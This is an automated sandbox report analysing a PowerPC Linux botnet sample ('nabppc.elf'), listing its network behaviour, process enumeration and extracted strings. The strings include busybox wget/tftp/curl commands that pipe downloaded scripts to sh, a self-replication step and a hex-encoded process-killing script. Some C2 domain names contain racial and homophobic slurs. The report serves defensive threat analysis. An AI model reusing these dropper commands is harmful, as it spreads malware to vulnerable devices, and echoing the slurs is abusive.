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Linux Analysis Report
nabppc.elf

Overview

General Information

Sample name:	nabppc.elf
Analysis ID:	1543144
MD5:	e9022c527899dd752705fd1c80138d2f
SHA1:	a60850a8f2ed5e89c81595d4b3e7915f8fb9e5b8
SHA256:	0f5e16475668eac213da44342ff56d3f2f0ec4120c996286c0256f6c66e6d04d
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543144
Start date and time:	2024-10-27 09:48:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabppc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/104@9/0

Runtime Messages

Command:	/tmp/nabppc.elf
PID:	5492
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabppc.elf (PID: 5492, Parent: 5415, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/nabppc.elf

nabppc.elf New Fork (PID: 5494, Parent: 5492)

nabppc.elf New Fork (PID: 5496, Parent: 5494)

nabppc.elf New Fork (PID: 5498, Parent: 5494)

nabppc.elf New Fork (PID: 5500, Parent: 5494)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabppc.elf

ReversingLabs: Detection: 52%

Source: nabppc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 181.114.187.204
Source: unknown	TCP traffic detected without corresponding DNS query: 181.114.187.204
Source: unknown	TCP traffic detected without corresponding DNS query: 134.131.27.239
Source: unknown	TCP traffic detected without corresponding DNS query: 134.131.27.239
Source: unknown	TCP traffic detected without corresponding DNS query: 109.131.9.230
Source: unknown	TCP traffic detected without corresponding DNS query: 109.131.9.230
Source: unknown	TCP traffic detected without corresponding DNS query: 185.74.217.175
Source: unknown	TCP traffic detected without corresponding DNS query: 185.74.217.175
Source: unknown	TCP traffic detected without corresponding DNS query: 13.159.151.176
Source: unknown	TCP traffic detected without corresponding DNS query: 13.159.151.176
Source: unknown	TCP traffic detected without corresponding DNS query: 74.153.22.164
Source: unknown	TCP traffic detected without corresponding DNS query: 74.153.22.164
Source: unknown	TCP traffic detected without corresponding DNS query: 164.234.50.96
Source: unknown	TCP traffic detected without corresponding DNS query: 164.234.50.96
Source: unknown	TCP traffic detected without corresponding DNS query: 123.150.128.229
Source: unknown	TCP traffic detected without corresponding DNS query: 51.171.3.86
Source: unknown	TCP traffic detected without corresponding DNS query: 123.150.128.229
Source: unknown	TCP traffic detected without corresponding DNS query: 51.171.3.86
Source: unknown	TCP traffic detected without corresponding DNS query: 121.172.111.85
Source: unknown	TCP traffic detected without corresponding DNS query: 121.172.111.85
Source: unknown	TCP traffic detected without corresponding DNS query: 97.187.207.3
Source: unknown	TCP traffic detected without corresponding DNS query: 97.187.207.3
Source: unknown	TCP traffic detected without corresponding DNS query: 182.119.230.217
Source: unknown	TCP traffic detected without corresponding DNS query: 182.119.230.217
Source: unknown	TCP traffic detected without corresponding DNS query: 56.190.67.101
Source: unknown	TCP traffic detected without corresponding DNS query: 56.190.67.101
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.247.31
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.247.31
Source: unknown	TCP traffic detected without corresponding DNS query: 64.126.175.91
Source: unknown	TCP traffic detected without corresponding DNS query: 208.5.192.235
Source: unknown	TCP traffic detected without corresponding DNS query: 125.205.197.152
Source: unknown	TCP traffic detected without corresponding DNS query: 64.126.175.91
Source: unknown	TCP traffic detected without corresponding DNS query: 146.65.190.37
Source: unknown	TCP traffic detected without corresponding DNS query: 208.5.192.235
Source: unknown	TCP traffic detected without corresponding DNS query: 87.64.107.3
Source: unknown	TCP traffic detected without corresponding DNS query: 125.205.197.152
Source: unknown	TCP traffic detected without corresponding DNS query: 118.211.208.168
Source: unknown	TCP traffic detected without corresponding DNS query: 146.65.190.37
Source: unknown	TCP traffic detected without corresponding DNS query: 87.64.107.3
Source: unknown	TCP traffic detected without corresponding DNS query: 90.57.120.124
Source: unknown	TCP traffic detected without corresponding DNS query: 118.211.208.168
Source: unknown	TCP traffic detected without corresponding DNS query: 159.236.136.134
Source: unknown	TCP traffic detected without corresponding DNS query: 80.9.57.178
Source: unknown	TCP traffic detected without corresponding DNS query: 90.57.120.124
Source: unknown	TCP traffic detected without corresponding DNS query: 105.74.152.141
Source: unknown	TCP traffic detected without corresponding DNS query: 159.236.136.134
Source: unknown	TCP traffic detected without corresponding DNS query: 80.9.57.178
Source: unknown	TCP traffic detected without corresponding DNS query: 70.51.166.42
Source: unknown	TCP traffic detected without corresponding DNS query: 105.74.152.141
Source: unknown	TCP traffic detected without corresponding DNS query: 102.9.142.85

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre

Source: nabppc.elf	String found in binary or memory: http:///curl.sh
Source: nabppc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5580/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5580/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5520/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5520/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5521/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5521/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5519/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5519/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5522/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5522/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5523/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5523/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5523/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5523/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5534/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5534/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5524/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5524/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5524/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5524/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5535/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5535/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5525/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5525/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5525/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5525/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5537/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5537/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5527/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5527/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5538/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5538/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5528/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5528/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5529/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 5498)	File opened: /proc/5529/cmdline	Jump to behavior

Source: nabppc.elf, 5492.1.0000561075744000.00005610757f4000.rw-.sdmp, nabppc.elf, 5496.1.0000561075744000.00005610757f4000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: nabppc.elf, 5492.1.0000561075744000.00005610757f4000.rw-.sdmp, nabppc.elf, 5496.1.0000561075744000.00005610757f4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: nabppc.elf, 5492.1.00007ffdf587e000.00007ffdf589f000.rw-.sdmp, nabppc.elf, 5496.1.00007ffdf587e000.00007ffdf589f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: nabppc.elf, 5492.1.00007ffdf587e000.00007ffdf589f000.rw-.sdmp, nabppc.elf, 5496.1.00007ffdf587e000.00007ffdf589f000.rw-.sdmp	Binary or memory string: Rx86_64/usr/bin/qemu-ppc/tmp/nabppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabppc.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
chinklabs.dyn. [malformed]	unknown	unknown	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
yellowchink.pirate. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabppc.elf	false		unknown
http:///curl.sh	nabppc.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
113.95.103.186	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
48.50.58.70	unknown	United States	2686	ATGS-MMD-ASUS	false
1.83.159.84	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
155.50.120.9	unknown	United States	5647	ASN-KODAKUS	false
40.15.159.70	unknown	United States	4249	LILLY-ASUS	false
14.252.35.154	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
32.133.232.70	unknown	United States	2686	ATGS-MMD-ASUS	false
161.38.125.143	unknown	United States	33039	EDMC-INTERNETUS	false
59.86.4.37	unknown	Japan	10010	TOKAITOKAICommunicationsCorporationJP	false
139.186.118.12	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
142.244.99.53	unknown	Canada	3359	U-ALBERTACA	false
103.58.143.253	unknown	India	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
29.194.7.229	unknown	United States	7922	COMCAST-7922US	false
218.48.188.237	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
71.92.4.130	unknown	United States	20115	CHARTER-20115US	false
186.73.121.234	unknown	Panama	11556	CableWirelessPanamaPA	false
132.163.74.169	unknown	United States	2648	NIST-BOULDERUS	false
90.16.236.148	unknown	France	3215	FranceTelecom-OrangeFR	false
55.96.121.104	unknown	United States	361	DNIC-ASBLK-00306-00371US	false
31.50.153.62	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
88.101.200.114	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
11.62.42.32	unknown	United States	3356	LEVEL3US	false
60.81.18.173	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
25.64.24.53	unknown	United Kingdom	7922	COMCAST-7922US	false
176.252.56.234	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
195.147.110.134	unknown	United Kingdom	5413	AS5413GB	false
68.225.99.107	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
91.94.152.116	unknown	Poland	5617	TPNETPL	false
66.7.173.213	unknown	United States	3257	GTT-BACKBONEGTTDE	false
70.20.242.83	unknown	United States	701	UUNETUS	false
8.163.9.225	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
171.98.231.117	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	false
166.180.183.155	unknown	United States	22394	CELLCOUS	false
65.63.77.79	unknown	United States	32475	SINGLEHOP-LLCUS	false
125.95.14.59	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
37.148.66.98	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
60.190.85.58	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
91.110.220.144	unknown	United Kingdom	12576	EELtdGB	false
166.212.122.249	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
173.208.211.170	unknown	United States	32097	WIIUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
45.156.86.24	nabmips.elf	Get hash	malicious	Unknown	Browse
	zermips.elf	Get hash	malicious	Unknown	Browse
	nabarm.elf	Get hash	malicious	Unknown	Browse
	nabx86.elf	Get hash	malicious	Unknown	Browse
	nabarm5.elf	Get hash	malicious	Unknown	Browse
	splsh4.elf	Get hash	malicious	Unknown	Browse
	zerarm7.elf	Get hash	malicious	Unknown	Browse
	ppc.elf	Get hash	malicious	Unknown	Browse
	zersh4.elf	Get hash	malicious	Unknown	Browse
	nabsh4.elf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zermips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	nabmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splm68k.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zermips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-KODAKUS	keldRUiaay.elf	Get hash	malicious	Mirai	Browse	204.147.161.48
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	165.171.22.79
	i586.elf	Get hash	malicious	Mirai	Browse	155.50.192.94
	na.elf	Get hash	malicious	Mirai	Browse	155.50.192.96
	hPIF0APgJk.elf	Get hash	malicious	Unknown	Browse	165.171.115.225
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	155.51.135.230
	novo.ppc440fp.elf	Get hash	malicious	Mirai, Moobot	Browse	155.50.227.168
	154.216.18.223-mips-2024-08-17T03_44_00.elf	Get hash	malicious	Mirai	Browse	155.51.37.15
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	165.171.163.182
	154.216.17.9-skid.arm7-2024-08-04T06_23_04.elf	Get hash	malicious	Mirai, Moobot	Browse	165.171.115.218
CHINANET-BACKBONENo31Jin-rongStreetCN	nabmips.elf	Get hash	malicious	Unknown	Browse	111.124.87.52
	splm68k.elf	Get hash	malicious	Unknown	Browse	144.14.254.165
	nklppc.elf	Get hash	malicious	Unknown	Browse	182.145.234.10
	splarm7.elf	Get hash	malicious	Unknown	Browse	182.200.246.182
	splarm.elf	Get hash	malicious	Unknown	Browse	125.82.106.46
	nabarm.elf	Get hash	malicious	Unknown	Browse	119.122.255.65
	splspc.elf	Get hash	malicious	Unknown	Browse	36.40.186.131
	nabarm5.elf	Get hash	malicious	Unknown	Browse	183.49.32.35
	nklarm5.elf	Get hash	malicious	Unknown	Browse	14.116.50.211
	nklarm.elf	Get hash	malicious	Unknown	Browse	42.93.231.117
ATGS-MMD-ASUS	nabmips.elf	Get hash	malicious	Unknown	Browse	48.186.193.24
	splm68k.elf	Get hash	malicious	Unknown	Browse	33.1.118.34
	nklppc.elf	Get hash	malicious	Unknown	Browse	56.77.143.181
	splarm7.elf	Get hash	malicious	Unknown	Browse	194.10.189.136
	splarm.elf	Get hash	malicious	Unknown	Browse	32.93.13.47
	nabarm.elf	Get hash	malicious	Unknown	Browse	57.224.131.71
	nabx86.elf	Get hash	malicious	Unknown	Browse	57.158.197.217
	splspc.elf	Get hash	malicious	Unknown	Browse	33.60.112.5
	nabarm5.elf	Get hash	malicious	Unknown	Browse	32.147.29.210
	nklarm7.elf	Get hash	malicious	Unknown	Browse	48.218.133.249
CHINANET-BACKBONENo31Jin-rongStreetCN	nabmips.elf	Get hash	malicious	Unknown	Browse	111.124.87.52
	splm68k.elf	Get hash	malicious	Unknown	Browse	144.14.254.165
	nklppc.elf	Get hash	malicious	Unknown	Browse	182.145.234.10
	splarm7.elf	Get hash	malicious	Unknown	Browse	182.200.246.182
	splarm.elf	Get hash	malicious	Unknown	Browse	125.82.106.46
	nabarm.elf	Get hash	malicious	Unknown	Browse	119.122.255.65
	splspc.elf	Get hash	malicious	Unknown	Browse	36.40.186.131
	nabarm5.elf	Get hash	malicious	Unknown	Browse	183.49.32.35
	nklarm5.elf	Get hash	malicious	Unknown	Browse	14.116.50.211
	nklarm.elf	Get hash	malicious	Unknown	Browse	42.93.231.117

Process:	/tmp/nabppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.0960755192435796
Encrypted:	false
SSDEEP:	6:MD4gDF+NT/V/DFw4VqY/Vt/lr/VfKoO/VNfiY/VH:M8YY1q4V3Ql
MD5:	7A69FCB3A6675F861223ABF7C48C6588
SHA1:	C7970B7E94745248A33E3BE595DEB63A2E70B835
SHA-256:	0705E643D917BBBDDB03A123773EF5F2910FBFBB729154B84953F0421B85A074
SHA-512:	0F7B5CD6F716C256CA134A2ED9DB3147121C0804501EF358CD6DB1162F34DAC173F2BC4EDFF54C01FA0DF55C824AD47564154923A3585A08AA3A6715FBE822C4
Malicious:	false
Reputation:	low
Preview:	10000000-1000b000 r-xp 00000000 fd:00 531606 /tmp/..1001a000-1001b000 rw-p 0000a000 fd:00 531606 /tmp/..1001b000-1001d000 rw-p 00000000 00:00 0 .1001d000-1001e000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.254736465285413
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabppc.elf
File size:	42'488 bytes
MD5:	e9022c527899dd752705fd1c80138d2f
SHA1:	a60850a8f2ed5e89c81595d4b3e7915f8fb9e5b8
SHA256:	0f5e16475668eac213da44342ff56d3f2f0ec4120c996286c0256f6c66e6d04d
SHA512:	8ec85b5dfcbe8ec96a635c62a6edd2d9d4673744cd7e1578108affc0df65b789564457cb7d8ca81523580605535a85402411908f58f5b5cedebe8725c221dea6
SSDEEP:	768:h+XAHnTkss+/JsoI0BhDlwvAdaTh6ddCrzo/vgF0ZNVcrnI8sRZ:3wssnhwkvo/4F8VSnI8sRZ
TLSH:	88134C42734C8913D1675DB0283F2BD167AF9E502270A3CAB94DF68E81B2F729547E6C
File Content Preview:	.ELF...........................4.........4. ...(.......................(...(...............,...,...,...t............dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?......D.+../...A..$8...}).....DN..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
